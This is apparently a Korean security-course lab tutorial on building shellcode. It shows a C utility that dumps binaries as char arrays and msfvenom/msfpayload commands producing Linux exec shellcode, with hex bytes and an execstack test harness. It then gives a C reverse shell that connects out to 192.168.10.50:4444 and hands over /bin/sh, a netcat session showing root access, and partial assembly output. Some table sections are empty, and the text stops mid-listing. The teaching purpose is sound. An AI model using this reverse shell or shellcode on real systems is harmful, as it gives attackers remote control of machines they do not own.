Size: 25 bytes sh-2.05b$ ps PID TTY TIME CMD 3463 pts/0 00:00:00 bash 13793 pts/0 00:00:00 sh
sh-2.05b$ exit exit |
[level11@ftz tmp]$
■ 쉘코드 만드는 방법에 대한 소개
- http://www.linuxfocus.org/Korean/March2001/article183.shtml
■ 다음은 쉘코드 만드는 코드이다.
/* * [cdump 0.1 by PoWeR_PoRK of netric (http://www.netric.org)] * * Simple pipe driven utility for creating c-style char decs from binary * input. Can be of use for embedding shellcode etc in c sourcefiles. * Do "./shdump -h" for a usage overview. */
#include <stdio.h>
char usage[] = "Usage: ./cdump [-h][-n <var name>][-u][-s <linesize>][-c [-cu]]n" "Pipe driven utility for coverting binary data to c char declaration.n" "Example: cat binfile | ./shdump -u -s 20 >> bin.cn" "This adds the contents of binfile to bin.c in char declaration formatnn"
"-h <var name> See this usage overviewn" "-n Name of the char identifier (maxsize=30, default=foobar)n" "-u Set this to uppercase the hex outputn" "-s <linesize> Set the maximum line size per byte input (default=10)n" "-c Comment the byte offsets into the outputn" "-cu Set this to uppercase hex chars in byte offset commentn";
int main(int argc, char **argv[]) { int i = -2,oldi, lsize = 10, ucase = 0, npar = 1, cc = 1, cmt = 0, cucase = 0; unsigned long place = 0; char c, vname[31]; vname[30] = 0; strncpy(&vname, "foobar", 30);
if(argc > 1){ if(!strncmp(argv[1], "-h", 2)){ printf("%s", &usage); exit(0); }
while(npar <= 5 && npar <= (argc - 1)){ if(!strncmp(argv[npar], "-n", 2)){ strncpy(&vname, argv[npar+1], 30); npar+=2; }else if(!strncmp(argv[npar], "-u", 2)){ ucase = 1; npar++; }else if(!strncmp(argv[npar], "-s", 2)){ lsize = atoi(argv[npar+1]); npar+=2; }else if(!strncmp(argv[npar], "-c", 2)){ cmt = 1; npar++; if(npar <= (argc - 1)){ if(!strncmp(argv[npar], "-cu", 3)){ cucase = 1; npar++; } } }else{ npar = argc; } }
}
if(strchr((char *)&vname, 37) != NULL){ printf("Cheeky Bastard! :P (fmt exploitation not allowed)n"); exit(0); }
oldi = getchar(); printf("char %s =n/* 0000:0000 */ "", (char *)&vname); while(oldi != EOF ) { if( ucase == 0 ){ printf("\x%.2x", oldi); }else if( ucase == 1 ){ printf("\x%.2X", oldi); } if(cc >= lsize){ if(cmt == 1){ place += cc; if(cucase == 1){ printf(""n/* %.4X:%.4X */ ", *((unsigned short *)&place + 1), *((unsigned short *)&place)); }else{ printf(""n/* %.4x:%.4x */ ", *((unsigned short *)&place + 1), *((unsigned short *)&place)); } }else{ printf(""n"); } printf("""); cc = 0; } cc++; oldi = getchar(); } printf("";n"); return 0; } |
쉘코드를 능숙하게 만들기 위해서는 쉘 코드를 만드는 기본 개념을 바탕으로 셀스톰과 같은 쉘코드를 배포하는 사이트에 있는 다양한 쉘코드를 따라 하면 될것이다.
칼리 리눅스에는 많은 플랫폼에서 사용이 가능한 shellcode가 존재한다.
(2) 칼리리눅스의 payload 사용하여 쉘코드 만들기
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!! 다음 문서에서 KaliLinux 2.X 버전은 상단의 정보를 사용하세요 !!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
■ 사용시스템
- KaliLinux
다음과 같은 임의의 명령어를 수행할 수 있는 쉘코드를 만들어 보자.
/bin/ls
/bin/cal
(on KaliLinux)
① msfpayload 명령어 사용법 확인
■ (칼리리눅스 2.0) 아래와 같이 실습한다.
# cd /test
# msfvenom -h
# msfvenom -l
# msfvenom -l | egrep 'linux/x64/exec'
# msfvenom -p linux/x64/exec --payload-options
# msfvenom --help-formats
# msfvenom --help-platforms
# cd /test
# msfpayload -h
Usage: /opt/metasploit/apps/pro/msf3/msfpayload [<options>] <payload> [var=val] <[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]>
OPTIONS:
-h Help banner -l List available payloads |
② payload 목록 검색 및 확인
■ (칼리리눅스 2.0) 아래와 같이 실습한다.
# uname -a
-> 32bit(Test 시스템 : KaliLinux(32bits))
# msfvenom -l | egrep '(linux/x64/exec|linux/x86/exec)'
# msfpayload -l | egrep '(linux/x64/exec|linux/x86/exec)'
linux/x64/exec Execute an arbitrary command linux/x86/exec Execute an arbitrary command |
③ 지정된 payload의 summary 정보 확인
■ (칼리리눅스 2.0) 아래와 같이 실습한다.
(x86) # msfvenom -p linux/x86/exec --payload-options
(x64) # msfvenom -p linux/x64/exec --payload-options
(for x86) # msfvenom linux/x86/exec S /* S : Summary Information */
Name: Linux Execute Command Module: payload/linux/x86/exec Platform: Linux Arch: x86 Needs Admin: No Total size: 158 Rank: Normal
Provided by: vlad902 <vlad902@gmail.com>
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- CMD yes The command string to execute
Description: Execute an arbitrary command |
(for x64) # msfpayload linux/x64/exec S
Name: Linux Execute Command Module: payload/linux/x64/exec Platform: Linux Arch: x86_64 Needs Admin: No Total size: 209 Rank: Normal
Provided by: ricky
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- CMD yes The command string to execute
Description: Execute an arbitrary command |
④ 쉘코드(/bin/ls) 생성
■ (칼리리눅스 2.0) 아래와 같이 실습한다.
# cd /test
# msfvenom --help-formats
(x86) # msfvenom -p linux/x86/exec CMD=/bin/ls -f c -o myshellcode.c
(x64) # msfvenom -p linux/x64/exec CMD=/bin/ls -f c -o myshellcode.c
# cat myshellcode.c
# vi shell.c
# gcc -fno-stack-protector -z execstack -o shell shell.c
# ./shell
# msfpayload linux/x86/exec CMD=/bin/ls C > myshellcode.c
# cat myshellcode.c
/* * linux/x86/exec - 43 bytes * http://www.metasploit.com * VERBOSE=false, PrependFork=false, PrependSetresuid=false, * PrependSetreuid=false, PrependSetuid=false, * PrependSetresgid=false, PrependSetregid=false, * PrependSetgid=false, PrependChrootBreak=false, * AppendExit=false, CMD=/bin/ls */ unsigned char buf[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68" "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00\x00\x2f" "\x62\x69\x6e\x2f\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"; |
# vi shell.c
#include <stdio.h>
unsigned char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68" "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00\x00\x2f" "\x62\x69\x6e\x2f\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80";
int main() { int (*shell)(); shell=(int (*)()) shellcode; (int)(*shell)(); return 0; } |
# gcc -fno-stack-protector -z execstack -o shell shell.c
# ./shell
a.out linux216.txt myshellcode shell testfile.sh linux215.txt linux226.txt myshellcode.c shell.c |
-> /bin/ls 명령어 수행 결과와 같다.
⑤ 다른 쉘코드(/usr/bin/cal) 생성
■ (칼리리눅스 2.0) 아래와 같이 실습한다.
# cd /test
# msfvenom --help-formats
(x86) # msfvenom -p linux/x86/exec CMD=/usr/bin/cal -f c -o myshellcode.c
(x64) # msfvenom -p linux/x64/exec CMD=/usr/bin/cal -f c -o myshellcode.c
# cat myshellcode.c
# vi shell.c
# gcc -fno-stack-protector -z execstack -o shell shell.c
# ./shell
# msfpayload linux/x86/exec CMD=/usr/bin/cal C > myshellcode.c
# cat myshellcode.c
/* * linux/x86/exec - 48 bytes * http://www.metasploit.com * VERBOSE=false, PrependFork=false, PrependSetresuid=false, * PrependSetreuid=false, PrependSetuid=false, * PrependSetresgid=false, PrependSetregid=false, * PrependSetgid=false, PrependChrootBreak=false, * AppendExit=false, CMD=/usr/bin/cal */ unsigned char buf[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68" "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0d\x00\x00\x00\x2f" "\x75\x73\x72\x2f\x62\x69\x6e\x2f\x63\x61\x6c\x00\x57\x53\x89" "\xe1\xcd\x80"; |
# vi shell.c
#include <stdio.h>
unsigned char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68" "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0d\x00\x00\x00\x2f" "\x75\x73\x72\x2f\x62\x69\x6e\x2f\x63\x61\x6c\x00\x57\x53\x89" "\xe1\xcd\x80";
int main() { int (*shell)(); shell=(int (*)()) shellcode; (int)(*shell)(); return 0; } |
# gcc -fno-stack-protector -z execstack -o shell shell.c
# ./shell
October 2015 Su Mo Tu We Th Fr Sa 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
-> /usr/bin/cal 명령어 수행결과와 같다.
(3) 리버스로 배시쉘을 연결하는 작은 쉘코드 제작
사용시스템
- KaliLinux
- HackMe
(KaliLinux)
① 칼리리눅스에서 4444 포트를 listen 상태로 동작
# apt-get -y install nc
# nc -l -vv -p 4444
(HackMe)
② C 언어로 reverse tcp connection 할 수 있는 프로그램 제작 및 테스트
$ su - root
root 사용자의 암호 입력
# mkdir -p /root/bin
# cd /root/bin
# vi myreverse.c
#include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <unistd.h> #include <errno.h>
int main(int argc, char **arv) { struct sockaddr_in serveraddr; int server_sockfd; int client_len; char buf[80]; char rbuf[80]; char *cmdBuf[2] = { "/bin/sh", (char *)0};
// 소켓 설정 server_sockfd = socket(AF_INET, SOCK_STREAM, 6); serveraddr.sin_family = AF_INET; serveraddr.sin_addr.s_addr = inet_addr("192.168.10.50"); /* server's ip */ serveraddr.sin_port = htons(atoi("4444")); /* server's port */ client_len = sizeof(serveraddr);
connect(server_sockfd, (struct sockaddr *)&serveraddr, client_len);
dup2(server_sockfd, 0); /* 소켓의 정보 중 fd(0)으로 복사 */ dup2(server_sockfd, 1); /* 소켓의 정보 중 fd(1)으로 복사 */ dup2(server_sockfd, 2); /* 소켓의 정보 중 fd(2)으로 복사 */
execve("/bin/sh", cmdBuf, 0); } |
# gcc -o myreverse myreverse.c
# ./myreverse
(KaliLinux)
# nc -l -vv -p 4444
listening on [any] 4444 ... 192.168.10.240: inverse host lookup failed: Unknown host connect to [192.168.10.50] from (UNKNOWN) [192.168.10.240] 32779 <ENTER> id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) pwd /root/bin exit send 13, recvd 98 |
③ dup2 함수의 의미에 대한 실습
■ (1차 테스트) "// dup2(server_sockfd, 0);"
KaliLinux | HackMe |
# nc -l -vv -p 4444
| # vi myreverse.c // dup2(server_sockfd, 0); # gcc -o myreverse1 myreverse.c
# ./myreverse1 |
■ (1차 테스트) "// dup2(
KaliLinux | HackMe |
|
|
■ (1차 테스트) "// dup2(
KaliLinux | HackMe |
|
|
④ C언어로 만든 myreverse를 assembly로 변경
# gcc -S -o myreverse.asm myreverse.c
# vi myreverse.asm
.string "192.168.10.50" .LC2: .string "4444" .text .globl main .type main,@function main: pushl %ebp movl %esp, %ebp subl $216, %esp andl $-16, %esp movl $0, %eax subl %eax, %esp movl $.LC0, -208(%ebp) movl $0, -204(%ebp) subl $4, %esp pushl $6 pushl $1 pushl $2 call socket addl $16, %esp movl %eax, -28(%ebp) movw $2, -24(%ebp) subl $12, %esp pushl $.LC1 call inet_addr addl $16, %esp movl %eax, -20(%ebp) subl $12, %esp pushl $.LC2 call atoi addl $16, %esp movzwl %ax, %eax subl $12, %esp pushl %eax call htons addl $16, %esp movw %ax, -22(%ebp) movl $16, -32(%ebp) subl $4, %esp pushl -32(%ebp) leal -24(%ebp), %eax pushl %eax pushl -28(%ebp) call connect addl $16, %esp subl $8, %esp pushl $0 pushl -28(%ebp) call dup2 addl $16, %esp subl $8, %esp pushl $1 pushl -28(%ebp) call dup2 |
#